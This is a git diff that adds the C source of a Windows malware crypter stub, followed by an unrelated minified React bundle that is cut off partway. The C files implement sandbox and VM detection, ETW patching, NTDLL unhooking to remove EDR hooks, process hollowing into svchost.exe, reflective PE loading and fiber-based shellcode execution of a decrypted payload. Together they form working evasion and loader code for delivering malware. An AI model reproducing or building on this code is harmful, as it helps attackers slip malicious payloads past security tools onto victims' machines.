*/ + if (p1.x == p2.x && p1.y == p2.y) { + /* Only flag if combined with low uptime */ + if (g_api.pGetTickCount64() < 10ULL * 60 * 1000) { + exit_if_sandbox(); + } + } +} + +/* VM registry key check */ +static void check_vm_registry(void) { + const char *vm_keys[] = { + "SOFTWARE\\Oracle\\VirtualBox Guest Additions", + "SOFTWARE\\VMware, Inc.\\VMware Tools", + "SYSTEM\\CurrentControlSet\\Services\\VBoxGuest", + "SYSTEM\\CurrentControlSet\\Services\\VBoxMouse", + "SYSTEM\\CurrentControlSet\\Services\\VBoxSF", + "SYSTEM\\CurrentControlSet\\Services\\vmci", + "SYSTEM\\CurrentControlSet\\Services\\vmhgfs", + "SYSTEM\\CurrentControlSet\\Services\\QEMU", + NULL + }; + HKEY hk; + for (int i = 0; vm_keys[i]; i++) { + if (g_api.pRegOpenKeyExA(HKEY_LOCAL_MACHINE, vm_keys[i], 0, KEY_READ, &hk) == ERROR_SUCCESS) { + g_api.pRegCloseKey(hk); + exit_if_sandbox(); + } + } +} + +void evasion_anti_sandbox_init(void) { + check_sleep_timing(); + check_ram(); + check_cpu_count(); + check_cursor_movement(); + check_vm_registry(); +} + +#endif /* EVASION_ANTI_SANDBOX */ diff --git a/crypter_stubs/evasion_etw.c b/crypter_stubs/evasion_etw.c new file mode 100755 index 0000000..5e19b31 --- /dev/null +++ b/crypter_stubs/evasion_etw.c @@ -0,0 +1,33 @@ +/** + * evasion_etw.c — ETW (Event Tracing for Windows) patching + * + * Patches EtwEventWrite in ntdll.dll to return STATUS_SUCCESS (0) + * immediately, preventing ETW-based telemetry from logging events. + */ + +#include +#include + +#include "api_resolve.h" + +#ifdef EVASION_ETW_PATCH + +void evasion_etw_init(void) { + /* Resolve EtwEventWrite lazily from ntdll (already in PEB) */ + FARPROC pEtwWrite = (FARPROC)api_resolve_func(HASH_NTDLL, HASH_EtwEventWrite); + if (!pEtwWrite) return; + + /* Patch EtwEventWrite to immediately return 0 (STATUS_SUCCESS) + * x64 patch: xor eax, eax; ret + * 33 C0 C3 + */ + uint8_t patch[] = { 0x33, 0xC0, 0xC3 }; + + DWORD old_protect; + if (g_api.pVirtualProtect((LPVOID)pEtwWrite, sizeof(patch), PAGE_EXECUTE_READWRITE, &old_protect)) { + memcpy((LPVOID)pEtwWrite, patch, sizeof(patch)); + g_api.pVirtualProtect((LPVOID)pEtwWrite, sizeof(patch), old_protect, &old_protect); + } +} + +#endif /* EVASION_ETW_PATCH */ diff --git a/crypter_stubs/evasion_sleep.c b/crypter_stubs/evasion_sleep.c new file mode 100755 index 0000000..df954d2 --- /dev/null +++ b/crypter_stubs/evasion_sleep.c @@ -0,0 +1,25 @@ +/** + * evasion_sleep.c — Delayed execution + * + * Sleeps for a configurable number of seconds before proceeding. + * Helps evade sandbox analysis that has a limited execution window. + * The sleep duration is patched in by the crypter engine. + */ + +#include +#include + +#include "api_resolve.h" + +#ifdef EVASION_DELAYED_EXEC + +/* CRYPTER_SLEEP_SECONDS_PLACEHOLDER */ +static const uint32_t SLEEP_SECONDS = 0; + +void evasion_sleep_init(void) { + if (SLEEP_SECONDS > 0) { + g_api.pSleep(SLEEP_SECONDS * 1000); + } +} + +#endif /* EVASION_DELAYED_EXEC */ diff --git a/crypter_stubs/evasion_unhook.c b/crypter_stubs/evasion_unhook.c new file mode 100755 index 0000000..e0a364f --- /dev/null +++ b/crypter_stubs/evasion_unhook.c @@ -0,0 +1,80 @@ +/** + * evasion_unhook.c — NTDLL unhooking + * + * Reads a clean copy of ntdll.dll from disk and overwrites the .text + * section of the in-memory ntdll, removing any EDR/AV inline hooks. + */ + +#include +#include + +#include "api_resolve.h" + +#ifdef EVASION_UNHOOK_NTDLL + +void evasion_unhook_init(void) { + /* Get handle to the in-memory ntdll from pre-resolved base */ + HMODULE hNtdll = (HMODULE)g_api.ntdll_base; + if (!hNtdll) return; + + /* Build path to ntdll on disk */ + char path[MAX_PATH]; + g_api.pGetSystemDirectoryA(path, sizeof(path)); + g_api.plstrcatA(path, "\\ntdll.dll"); + + /* Read clean ntdll from disk */ + HANDLE hFile = g_api.pCreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, + OPEN_EXISTING, 0, NULL); + if (hFile == INVALID_HANDLE_VALUE) return; + + DWORD file_size = g_api.pGetFileSize(hFile, NULL); + if (file_size == INVALID_FILE_SIZE || file_size == 0) { + g_api.pCloseHandle(hFile); + return; + } + + /* Map the file */ + HANDLE hMap = g_api.pCreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL); + if (!hMap) { + g_api.pCloseHandle(hFile); + return; + } + + LPVOID pClean = g_api.pMapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0); + if (!pClean) { + g_api.pCloseHandle(hMap); + g_api.pCloseHandle(hFile); + return; + } + + /* Parse PE headers to find .text section */ + IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)hNtdll; + IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((uint8_t *)hNtdll + dos->e_lfanew); + IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt); + + for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) { + if (sec[i].Name[0] == '.' && sec[i].Name[1] == 't' && + sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' && + sec[i].Name[4] == 't') { + + /* Found .text section */ + LPVOID text_mem = (uint8_t *)hNtdll + sec[i].VirtualAddress; + LPVOID text_disk = (uint8_t *)pClean + sec[i].PointerToRawData; + DWORD text_size = sec[i].SizeOfRawData; + + /* Make writable, overwrite, restore protection */ + DWORD old_protect; + if (g_api.pVirtualProtect(text_mem, text_size, PAGE_EXECUTE_READWRITE, &old_protect)) { + memcpy(text_mem, text_disk, text_size); + g_api.pVirtualProtect(text_mem, text_size, old_protect, &old_protect); + } + break; + } + } + + g_api.pUnmapViewOfFile(pClean); + g_api.pCloseHandle(hMap); + g_api.pCloseHandle(hFile); +} + +#endif /* EVASION_UNHOOK_NTDLL */ diff --git a/crypter_stubs/reflective_stub.c b/crypter_stubs/reflective_stub.c new file mode 100755 index 0000000..6462c6d --- /dev/null +++ b/crypter_stubs/reflective_stub.c @@ -0,0 +1,299 @@ +/** + * reflective_stub.c — In-process reflective PE loader + fiber execution + * + * Replaces process hollowing (runpe_stub.c). Loads the decrypted PE entirely + * within the current process — no suspended child, no cross-process writes. + * + * Flow: + * 1. Parse PE headers (DOS → NT → sections) + * 2. VirtualAlloc(PAGE_READWRITE) at any address + * 3. Copy PE headers + map each section to its RVA + * 4. Process base relocations (delta = actual - preferred) + * 5. Resolve imports via LoadLibraryA + PEB export walk + * 6. Set correct per-section page protections + * 7. Flush instruction cache + * 8. Execute entry point via fiber (ConvertThreadToFiber → CreateFiber → SwitchToFiber) + */ + +#include +#include +#include +#include + +#include "api_resolve.h" + +/* ── Section protection mapping ─────────────────────────────────── */ + +static DWORD section_protection(DWORD characteristics) { + DWORD protect = PAGE_NOACCESS; + int exec = (characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; + int read = (characteristics & IMAGE_SCN_MEM_READ) != 0; + int write = (characteristics & IMAGE_SCN_MEM_WRITE) != 0; + + if (exec && read && write) protect = PAGE_EXECUTE_READWRITE; + else if (exec && read) protect = PAGE_EXECUTE_READ; + else if (exec && write) protect = PAGE_EXECUTE_WRITECOPY; + else if (exec) protect = PAGE_EXECUTE; + else if (read && write) protect = PAGE_READWRITE; + else if (read) protect = PAGE_READONLY; + else if (write) protect = PAGE_WRITECOPY; + + return protect; +} + +/* ── Relocation processing ──────────────────────────────────────── */ + +static int process_relocations(uint8_t *base, IMAGE_NT_HEADERS *nt, ptrdiff_t delta) { + if (delta == 0) return 1; + + DWORD reloc_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; + DWORD reloc_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; + if (reloc_rva == 0 || reloc_size == 0) return 0; + + IMAGE_BASE_RELOCATION *block = (IMAGE_BASE_RELOCATION *)(base + reloc_rva); + IMAGE_BASE_RELOCATION *end = (IMAGE_BASE_RELOCATION *)((uint8_t *)block + reloc_size); + + while (block < end && block->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) { + DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); + WORD *entries = (WORD *)((uint8_t *)block + sizeof(IMAGE_BASE_RELOCATION)); + + for (DWORD i = 0; i < count; i++) { + WORD type = entries[i] >> 12; + WORD offset = entries[i] & 0x0FFF; + uint8_t *patch_addr = base + block->VirtualAddress + offset; + + switch (type) { + case IMAGE_REL_BASED_ABSOLUTE: + break; +#ifdef _WIN64 + case IMAGE_REL_BASED_DIR64: { + uint64_t *ptr = (uint64_t *)patch_addr; + *ptr += (uint64_t)delta; + break; + } +#endif + case IMAGE_REL_BASED_HIGHLOW: { + uint32_t *ptr = (uint32_t *)patch_addr; + *ptr += (uint32_t)delta; + break; + } + case IMAGE_REL_BASED_HIGH: { + uint16_t *ptr = (uint16_t *)patch_addr; + *ptr += (uint16_t)((delta >> 16) & 0xFFFF); + break; + } + case IMAGE_REL_BASED_LOW: { + uint16_t *ptr = (uint16_t *)patch_addr; + *ptr += (uint16_t)(delta & 0xFFFF); + break; + } + default: + break; + } + } + + block = (IMAGE_BASE_RELOCATION *)((uint8_t *)block + block->SizeOfBlock); + } + + return 1; +} + +/* ── Import resolution ──────────────────────────────────────────── */ + +static int resolve_pe_imports(uint8_t *base, IMAGE_NT_HEADERS *nt) { + DWORD import_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; + DWORD import_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; + if (import_rva == 0 || import_size == 0) return 1; + + IMAGE_IMPORT_DESCRIPTOR *desc = (IMAGE_IMPORT_DESCRIPTOR *)(base + import_rva); + + while (desc->Name != 0) { + const char *dll_name = (const char *)(base + desc->Name); + HMODULE hMod = g_api.pLoadLibraryA(dll_name); + if (!hMod) { + desc++; + continue; + } + + /* Walk the thunk arrays */ +#ifdef _WIN64 + IMAGE_THUNK_DATA64 *orig_thunk = (IMAGE_THUNK_DATA64 *)( + base + (desc->OriginalFirstThunk ? desc->OriginalFirstThunk : desc->FirstThunk)); + IMAGE_THUNK_DATA64 *iat_thunk = (IMAGE_THUNK_DATA64 *)(base + desc->FirstThunk); + uint64_t ordinal_flag = IMAGE_ORDINAL_FLAG64; +#else + IMAGE_THUNK_DATA32 *orig_thunk = (IMAGE_THUNK_DATA32 *)( + base + (desc->OriginalFirstThunk ? desc->OriginalFirstThunk : desc->FirstThunk)); + IMAGE_THUNK_DATA32 *iat_thunk = (IMAGE_THUNK_DATA32 *)(base + desc->FirstThunk); + uint32_t ordinal_flag = IMAGE_ORDINAL_FLAG32; +#endif + + while (orig_thunk->u1.AddressOfData != 0) { + FARPROC func = NULL; + + if (orig_thunk->u1.Ordinal & ordinal_flag) { + /* Import by ordinal */ + WORD ordinal = (WORD)(orig_thunk->u1.Ordinal & 0xFFFF); + func = (FARPROC)peb_get_proc((void *)hMod, 0); + /* Fallback: we can't easily resolve by ordinal via PEB walk, + so use GetProcAddress if available via LoadLibrary */ + if (!func) { + /* Use ordinal directly — cast to LPCSTR */ + typedef FARPROC (WINAPI *fn_GetProcAddress)(HMODULE, LPCSTR); + fn_GetProcAddress pGPA = (fn_GetProcAddress)peb_get_proc( + g_api.kernel32_base, + 0 /* We'll resolve by name below instead */ + ); + (void)ordinal; + func = NULL; /* ordinal imports rare for our payloads */ + } + } else { + /* Import by name */ + IMAGE_IMPORT_BY_NAME *hint = (IMAGE_IMPORT_BY_NAME *)( + base + (DWORD)(orig_thunk->u1.AddressOfData)); + /* Resolve via PEB export walk on the loaded module */ + func = (FARPROC)peb_get_proc((void *)hMod, + djb2_hash_ascii(hint->Name)); + } + + if (func) { +#ifdef _WIN64 + iat_thunk->u1.Function = (ULONGLONG)func; +#else + iat_thunk->u1.Function = (DWORD)func; +#endif + } + + orig_thunk++; + iat_thunk++; + } + + desc++; + } + + return 1; +} + +/* ── Fiber entry trampoline ─────────────────────────────────────── */ + +typedef BOOL (WINAPI *fn_DllMain)(HINSTANCE, DWORD, LPVOID); + +typedef struct { + fn_DllMain entry_point; + LPVOID image_base; +} FiberContext; + +static void WINAPI fiber_entry(LPVOID param) { + FiberContext *ctx = (FiberContext *)param; + ctx->entry_point((HINSTANCE)ctx->image_base, DLL_PROCESS_ATTACH, NULL); +} + +/* ── Public API ─────────────────────────────────────────────────── */ + +/* Forward declare internal functions used by resolve_pe_imports */ +DWORD djb2_hash_ascii(const char *str); +void *peb_get_proc(void *base, DWORD hash); + +/** + * Execute a PE image via in-process reflective loading + fiber. + * pe_data: pointer to decrypted PE bytes + * pe_len: length of the PE data + * Returns 0 on success, -1 on failure. + */ +int runpe_execute(const uint8_t *pe_data, uint32_t pe_len) { + /* ── Validate PE ──────────────────────────────────────────── */ + if (pe_len < sizeof(IMAGE_DOS_HEADER)) return -1; + IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)pe_data; + if (dos->e_magic != IMAGE_DOS_SIGNATURE) return -1; + if ((uint32_t)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > pe_len) return -1; + IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(pe_data + dos->e_lfanew); + if (nt->Signature != IMAGE_NT_SIGNATURE) return -1; + + DWORD image_size = nt->OptionalHeader.SizeOfImage; + + /* ── Allocate in-process memory (RW, no RWX) ─────────────── */ + uint8_t *base = (uint8_t *)g_api.pVirtualAlloc( + NULL, image_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!base) return -1; + + /* ── Copy PE headers ──────────────────────────────────────── */ + memcpy(base, pe_data, nt->OptionalHeader.SizeOfHeaders); + + /* ── Map sections ─────────────────────────────────────────── */ + IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt); + for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) { + if (sec[i].SizeOfRawData == 0) continue; + DWORD copy_size = sec[i].SizeOfRawData; + if (sec[i].PointerToRawData + copy_size > pe_len) { + copy_size = pe_len - sec[i].PointerToRawData; + } + memcpy(base + sec[i].VirtualAddress, + pe_data + sec[i].PointerToRawData, + copy_size); + } + + /* ── Process base relocations ─────────────────────────────── */ + ptrdiff_t delta = (ptrdiff_t)(base - (uint8_t *)(ULONG_PTR)nt->OptionalHeader.ImageBase); + IMAGE_NT_HEADERS *mapped_nt = (IMAGE_NT_HEADERS *)(base + dos->e_lfanew); + + if (delta != 0) { + if (!process_relocations(base, mapped_nt, delta)) { + /* No relocation table and base mismatch — can't proceed */ + if (!(mapped_nt->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED)) { + g_api.pVirtualFree(base, 0, MEM_RELEASE); + return -1; + } + } + } + + /* ── Resolve imports ──────────────────────────────────────── */ + if (!resolve_pe_imports(base, mapped_nt)) { + g_api.pVirtualFree(base, 0, MEM_RELEASE); + return -1; + } + + /* ── Set per-section page protections ─────────────────────── */ + sec = IMAGE_FIRST_SECTION(mapped_nt); + for (WORD i = 0; i < mapped_nt->FileHeader.NumberOfSections; i++) { + DWORD protect = section_protection(sec[i].Characteristics); + DWORD virt_size = sec[i].Misc.VirtualSize; + if (virt_size == 0) virt_size = sec[i].SizeOfRawData; + if (virt_size == 0) continue; + + DWORD old_protect; + g_api.pVirtualProtect( + base + sec[i].VirtualAddress, + virt_size, + protect, + &old_protect); + } + + /* ── Flush instruction cache ──────────────────────────────── */ + g_api.pFlushInstructionCache(g_api.pGetCurrentProcess(), base, image_size); + + /* ── Execute via fiber ────────────────────────────────────── */ + fn_DllMain entry = (fn_DllMain)(base + mapped_nt->OptionalHeader.AddressOfEntryPoint); + + FiberContext fiber_ctx; + fiber_ctx.entry_point = entry; + fiber_ctx.image_base = base; + + LPVOID main_fiber = g_api.pConvertThreadToFiber(NULL); + if (!main_fiber) { + /* Already a fiber — get current fiber */ + main_fiber = GetCurrentFiber(); + } + + LPVOID exec_fiber = g_api.pCreateFiber(0, fiber_entry, &fiber_ctx); + if (!exec_fiber) { + g_api.pVirtualFree(base, 0, MEM_RELEASE); + return -1; + } + + g_api.pSwitchToFiber(exec_fiber); + + /* Control returns here after payload completes or calls SwitchToFiber back */ + g_api.pDeleteFiber(exec_fiber); + + return 0; +} diff --git a/crypter_stubs/runpe_stub.c b/crypter_stubs/runpe_stub.c new file mode 100755 index 0000000..1fb2e7d --- /dev/null +++ b/crypter_stubs/runpe_stub.c @@ -0,0 +1,150 @@ +/** + * runpe_stub.c — RunPE / Process Hollowing + * + * Creates a suspended process, unmaps the original image, writes the + * decrypted PE into the target, fixes the entry point, and resumes. + */ + +#include +#include +#include +#include + +#include "api_resolve.h" + +/* CRYPTER_TARGET_PROCESS_PLACEHOLDER */ +static const wchar_t TARGET_PROCESS[] = L"C:\\Windows\\System32\\svchost.exe"; + +/** + * Execute a PE image via process hollowing. + * pe_data: pointer to decrypted PE bytes + * pe_len: length of the PE data + * Returns 0 on success, -1 on failure. + */ +int runpe_execute(const uint8_t *pe_data, uint32_t pe_len) { + STARTUPINFOW si; + PROCESS_INFORMATION pi; + CONTEXT ctx; + NTSTATUS status; + + ZeroMemory(&si, sizeof(si)); + si.cb = sizeof(si); + ZeroMemory(&pi, sizeof(pi)); + + /* Validate PE */ + if (pe_len < sizeof(IMAGE_DOS_HEADER)) return -1; + IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)pe_data; + if (dos->e_magic != IMAGE_DOS_SIGNATURE) return -1; + if ((uint32_t)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > pe_len) return -1; + IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(pe_data + dos->e_lfanew); + if (nt->Signature != IMAGE_NT_SIGNATURE) return -1; + + /* Create target process in suspended state */ + if (!g_api.pCreateProcessW(TARGET_PROCESS, NULL, NULL, NULL, FALSE, + CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { + return -1; + } + + /* Get thread context to find PEB */ + ctx.ContextFlags = CONTEXT_FULL; + if (!g_api.pGetThreadContext(pi.hThread, &ctx)) { + g_api.pTerminateProcess(pi.hProcess, 1); + g_api.pCloseHandle(pi.hThread); + g_api.pCloseHandle(pi.hProcess); + return -1; + } + + /* Read PEB to get image base of the target */ + PVOID pbi_buf[6]; /* PROCESS_BASIC_INFORMATION */ + status = g_api.pNtQueryInformationProcess(pi.hProcess, 0 /* ProcessBasicInformation */, + pbi_buf, sizeof(pbi_buf), NULL); + if (status != 0) { + g_api.pTerminateProcess(pi.hProcess, 1); + g_api.pCloseHandle(pi.hThread); + g_api.pCloseHandle(pi.hProcess); + return -1; + } + + /* PEB address is the 2nd pointer-sized field */ + PVOID peb_addr = pbi_buf[1]; + PVOID image_base_addr; + + /* Read ImageBaseAddress from PEB (offset 0x10 on x64, 0x08 on x86) */ +#ifdef _WIN64 + SIZE_T peb_offset = 0x10; +#else + SIZE_T peb_offset = 0x08; +#endif + if (!g_api.pReadProcessMemory(pi.hProcess, (PBYTE)peb_addr + peb_offset, + &image_base_addr, sizeof(image_base_addr), NULL)) { + g_api.pTerminateProcess(pi.hProcess, 1); + g_api.pCloseHandle(pi.hThread); + g_api.pCloseHandle(pi.hProcess); + return -1; + } + + /* Unmap the original PE image */ + g_api.pNtUnmapViewOfSection(pi.hProcess, image_base_addr); + + /* Allocate memory at the PE's preferred base */ + LPVOID remote_base = g_api.pVirtualAllocEx( + pi.hProcess, + (LPVOID)(ULONG_PTR)nt->OptionalHeader.ImageBase, + nt->OptionalHeader.SizeOfImage, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE + ); + if (!remote_base) { + /* Try at any address if preferred base is taken */ + remote_base = g_api.pVirtualAllocEx( + pi.hProcess, NULL, + nt->OptionalHeader.SizeOfImage, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE + ); + if (!remote_base) { + g_api.pTerminateProcess(pi.hProcess, 1); + g_api.pCloseHandle(pi.hThread); + g_api.pCloseHandle(pi.hProcess); + return -1; + } + } + + /* Write PE headers */ + g_api.pWriteProcessMemory(pi.hProcess, remote_base, pe_data, + nt->OptionalHeader.SizeOfHeaders, NULL); + + /* Write each section */ + IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt); + for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) { + if (sec[i].SizeOfRawData == 0) continue; + g_api.pWriteProcessMemory( + pi.hProcess, + (PBYTE)remote_base + sec[i].VirtualAddress, + pe_data + sec[i].PointerToRawData, + sec[i].SizeOfRawData, + NULL + ); + } + + /* Update PEB ImageBaseAddress to point to our allocation */ + g_api.pWriteProcessMemory(pi.hProcess, (PBYTE)peb_addr + peb_offset, + &remote_base, sizeof(remote_base), NULL); + + /* Fix thread context entry point */ +#ifdef _WIN64 + ctx.Rcx = (DWORD64)remote_base + nt->OptionalHeader.AddressOfEntryPoint; +#else + ctx.Eax = (DWORD)remote_base + nt->OptionalHeader.AddressOfEntryPoint; +#endif + + g_api.pSetThreadContext(pi.hThread, &ctx); + + /* Resume the target process */ + g_api.pResumeThread(pi.hThread); + + g_api.pCloseHandle(pi.hThread); + g_api.pCloseHandle(pi.hProcess); + + return 0; +} diff --git a/crypter_stubs/shellcode_stub.c b/crypter_stubs/shellcode_stub.c new file mode 100755 index 0000000..a7dee91 --- /dev/null +++ b/crypter_stubs/shellcode_stub.c @@ -0,0 +1,58 @@ +/** + * shellcode_stub.c — Shellcode execution (local, fiber-based) + * + * Allocates RW memory, copies decrypted payload, flips to RX, + * and executes via fiber switching (no CreateThread). + */ + +#include +#include +#include + +#include "api_resolve.h" + +/** + * Execute raw shellcode in the current process via fiber. + * sc_data: pointer to decrypted shellcode bytes + * sc_len: length of the shellcode + * Returns 0 on success, -1 on failure. + */ +int shellcode_execute(const uint8_t *sc_data, uint32_t sc_len) { + if (!sc_data || sc_len == 0) return -1; + + /* Allocate RW memory */ + LPVOID mem = g_api.pVirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!mem) return -1; + + /* Copy shellcode */ + memcpy(mem, sc_data, sc_len); + + /* Flip to RX (no RWX — avoid easy detection) */ + DWORD old_protect; + if (!g_api.pVirtualProtect(mem, sc_len, PAGE_EXECUTE_READ, &old_protect)) { + g_api.pVirtualFree(mem, 0, MEM_RELEASE); + return -1; + } + + /* Execute via fiber — avoids CreateThread behavioral signature */ + LPVOID main_fiber = g_api.pConvertThreadToFiber(NULL); + if (!main_fiber) { + main_fiber = GetCurrentFiber(); + } + + LPVOID sc_fiber = g_api.pCreateFiber(0, (LPFIBER_START_ROUTINE)mem, NULL); + if (!sc_fiber) { + g_api.pVirtualFree(mem, 0, MEM_RELEASE); + return -1; + } + + g_api.pSwitchToFiber(sc_fiber); + + /* Control returns here after shellcode completes */ + g_api.pDeleteFiber(sc_fiber); + + /* Clean up */ + g_api.pVirtualFree(mem, 0, MEM_RELEASE); + + return 0; +} diff --git a/crypter_stubs/stub_main.c b/crypter_stubs/stub_main.c new file mode 100755 index 0000000..dd27afb --- /dev/null +++ b/crypter_stubs/stub_main.c @@ -0,0 +1,80 @@ +/** + * stub_main.c — Crypter stub entry point + * + * Flow: + * 1. Resolve all APIs via PEB walking + * 2. Run enabled evasion modules + * 3. Decrypt embedded payload (XOR + AES-256-CBC) + * 4. Execute via selected mode (RunPE or Shellcode) + * 5. Wipe decrypted payload from memory + * + * The crypter engine defines: + * - EVASION_xxx flags for each enabled evasion module + * - CRYPT_MODE_RUNPE or CRYPT_MODE_SHELLCODE + */ + +#include +#include +#include + +#include "api_resolve.h" +#include "decrypt_layer.h" +#include "evasion.h" + +/* Mode-specific execution functions (linked from runpe_stub.c or shellcode_stub.c) */ +#ifdef CRYPT_MODE_RUNPE +int runpe_execute(const uint8_t *pe_data, uint32_t pe_len); +#endif + +#ifdef CRYPT_MODE_SHELLCODE +int shellcode_execute(const uint8_t *sc_data, uint32_t sc_len); +#endif + +/** + * Securely wipe memory with volatile write to prevent compiler optimization. + */ +static void secure_wipe(void *ptr, size_t len) { + volatile uint8_t *p = (volatile uint8_t *)ptr; + while (len--) *p++ = 0; +} + +/** + * WinMain — GUI subsystem entry point (no console window). + */ +int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, + LPSTR lpCmdLine, int nCmdShow) { + (void)hInstance; + (void)hPrevInstance; + (void)lpCmdLine; + (void)nCmdShow; + + /* Step 1: Resolve all APIs via PEB walking */ + api_resolve_init(); + + /* Step 2: Run evasion modules */ + evasion_init_all(); + + /* Step 3: Decrypt payload */ + uint32_t payload_len = 0; + uint8_t *payload = decrypt_payload(&payload_len); + if (!payload || payload_len == 0) { + return 1; + } + + /* Step 4: Execute */ + int result = -1; + +#ifdef CRYPT_MODE_RUNPE + result = runpe_execute(payload, payload_len); +#endif + +#ifdef CRYPT_MODE_SHELLCODE + result = shellcode_execute(payload, payload_len); +#endif + + /* Step 5: Wipe decrypted payload */ + secure_wipe(payload, payload_len); + HeapFree(GetProcessHeap(), 0, payload); + + return result; +} diff --git a/crypter_stubs/zerin_crypter b/crypter_stubs/zerin_crypter new file mode 100755 index 0000000..edcb1b5 Binary files /dev/null and b/crypter_stubs/zerin_crypter differ diff --git a/dist/assets/index-B2hrJO5G.js b/dist/assets/index-B2hrJO5G.js new file mode 100755 index 0000000..2017ae1 --- /dev/null +++ b/dist/assets/index-B2hrJO5G.js @@ -0,0 +1,440 @@ +var YS=Object.defineProperty;var GS=(e,t,n)=>t in e?YS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var vf=(e,t,n)=>GS(e,typeof t!="symbol"?t+"":t,n);function XS(e,t){for(var n=0;nr[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const a of i)if(a.type==="childList")for(const o of a.addedNodes)o.tagName==="LINK"&&o.rel==="modulepreload"&&r(o)}).observe(document,{childList:!0,subtree:!0});function n(i){const a={};return i.integrity&&(a.integrity=i.integrity),i.referrerPolicy&&(a.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?a.credentials="include":i.crossOrigin==="anonymous"?a.credentials="omit":a.credentials="same-origin",a}function r(i){if(i.ep)return;i.ep=!0;const a=n(i);fetch(i.href,a)}})();function Lr(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var D2={exports:{}},Ru={},R2={exports:{}},je={};/** + * @license React + * react.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var Wo=Symbol.for("react.element"),ZS=Symbol.for("react.portal"),QS=Symbol.for("react.fragment"),JS=Symbol.for("react.strict_mode"),ez=Symbol.for("react.profiler"),tz=Symbol.for("react.provider"),nz=Symbol.for("react.context"),rz=Symbol.for("react.forward_ref"),iz=Symbol.for("react.suspense"),az=Symbol.for("react.memo"),sz=Symbol.for("react.lazy"),gv=Symbol.iterator;function oz(e){return e===null||typeof e!="object"?null:(e=gv&&e[gv]||e["@@iterator"],typeof e=="function"?e:null)}var $2={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},B2=Object.assign,F2={};function rs(e,t,n){this.props=e,this.context=t,this.refs=F2,this.updater=n||$2}rs.prototype.isReactComponent={};rs.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};rs.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function W2(){}W2.prototype=rs.prototype;function vh(e,t,n){this.props=e,this.context=t,this.refs=F2,this.updater=n||$2}var gh=vh.prototype=new W2;gh.constructor=vh;B2(gh,rs.prototype);gh.isPureReactComponent=!0;var yv=Array.isArray,U2=Object.prototype.hasOwnProperty,yh={current:null},V2={key:!0,ref:!0,__self:!0,__source:!0};function H2(e,t,n){var r,i={},a=null,o=null;if(t!=null)for(r in t.ref!==void 0&&(o=t.ref),t.key!==void 0&&(a=""+t.key),t)U2.call(t,r)&&!V2.hasOwnProperty(r)&&(i[r]=t[r]);var l=arguments.length-2;if(l===1)i.children=n;else if(1>>1,X=R[H];if(0>>1;Hi(ge,$))xei(Y,ge)?(R[H]=Y,R[xe]=$,H=xe):(R[H]=ge,R[ue]=$,H=ue);else if(xei(Y,$))R[H]=Y,R[xe]=$,H=xe;else break e}}return W}function i(R,W){var $=R.sortIndex-W.sortIndex;return $!==0?$:R.id-W.id}if(typeof performance=="object"&&typeof performance.now=="function"){var a=performance;e.unstable_now=function(){return a.now()}}else{var o=Date,l=o.now();e.unstable_now=function(){return o.now()-l}}var c=[],u=[],d=1,f=null,m=3,h=!1,x=!1,g=!1,y=typeof setTimeout=="function"?setTimeout:null,v=typeof clearTimeout=="function"?clearTimeout:null,b=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function w(R){for(var W=n(u);W!==null;){if(W.callback===null)r(u);else 